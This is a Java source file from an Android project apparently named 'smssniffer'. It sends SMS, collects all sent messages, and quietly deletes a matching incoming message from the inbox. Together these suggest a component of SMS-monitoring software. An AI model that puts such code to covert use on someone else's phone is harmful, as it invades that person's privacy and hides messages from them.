package com.pratik.android.smssniffer.telelphony.impl;

import java.util.ArrayList;
import java.util.List;

import com.pratik.android.smssniffer.handlers.dto.SMSDataDTO;
import com.pratik.android.smssniffer.telelphony.SmsService;

import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.telephony.SmsManager;
import android.util.Log;

class SmsServiceImpl implements SmsService {

	@Override
	public void sendSms(String phoneNumber, String message) {

		try {
			SmsManager smsmgr = SmsManager.getDefault();
			if (message.length() > 160) {
				sendMultiPartMessage(phoneNumber, message);
			} else {
				smsmgr.sendTextMessage(phoneNumber, null, message, null, null);
			}

		} catch (Exception e) {
			e.printStackTrace();
		}
	}

	private void sendMultiPartMessage(String phoneNumber, String message) {
		try {
			SmsManager smsManager = SmsManager.getDefault();
			ArrayList<String> partMsg = smsManager.divideMessage(message);
			smsManager.sendMultipartTextMessage(phoneNumber, null, partMsg,
					null, null);
		} catch (Exception e) {
			e.printStackTrace();
		}

	}

	private final String SMS_INBOX = "content://sms/inbox";
	private final String SMS_CONVERSIONS = "content://sms/conversations/";
	
	
	/**DELETES LAST RECEIVED SMS FROM CONVERSIONS OF RECEIVED MOBILE NUMBER
	
	 * Columns description
	 * 
	 * 
	 * type = 1 for incoming message 
	    type = 2 for replied message
	    read = 1 if SMS read by recipient
	    read = 0 if not read **/
	@Override
	public void deleteRecentReceivedMessage(Context context, String mobileNo, String body) {
		ContentResolver contentResolver = context.getContentResolver();
		Cursor c = contentResolver.query(
				Uri.parse(SMS_INBOX), null, null, null, null);
		if (c != null && c.moveToFirst()) {
			while (!c.isAfterLast()) {
				try {
					String mono = c.getString(c.getColumnIndex("address"));

					if (mono.trim().equals(mobileNo)) {
						String pid = c.getString(1);
						String uri = SMS_CONVERSIONS + pid;
						
						Cursor cr = contentResolver.query(
								Uri.parse(uri), null, "type=?", new String[]{"1"}, "date desc");

						Log.i("Conversation count", "C:" + cr.getCount());
						if(cr!=null && cr.moveToFirst()){
							 Log.e(this.getClass().getName(), "deleting message: "+body);
							 contentResolver.delete(Uri.parse(uri), "body=?", new String[]{body});
						}
						
						break;
					}
				} catch (Exception e) {
					e.printStackTrace();
				}
				c.moveToNext();
			}
		}
	}

	@Override
	public List<SMSDataDTO> getSentSMS(Context context) {
		List<SMSDataDTO> smsList = new ArrayList<SMSDataDTO>();
		Uri uri = Uri.parse("content://sms/sent");
		Cursor c = context.getContentResolver().query(uri, null, null, null, null);
		
		if (c!= null && c.moveToFirst()) {
			while(!c.isAfterLast()) {
				SMSDataDTO sms = new SMSDataDTO();
				sms.setMsg_body(c.getString(c.getColumnIndexOrThrow("body"))
						.toString());
				sms.setNumber(c.getString(c.getColumnIndexOrThrow("address"))
						.toString());
				sms.setDate(c.getLong(c.getColumnIndex("date")));
				smsList.add(sms);
				c.moveToNext();
			}
			c.close();
		}
		
		return smsList;
	}

}
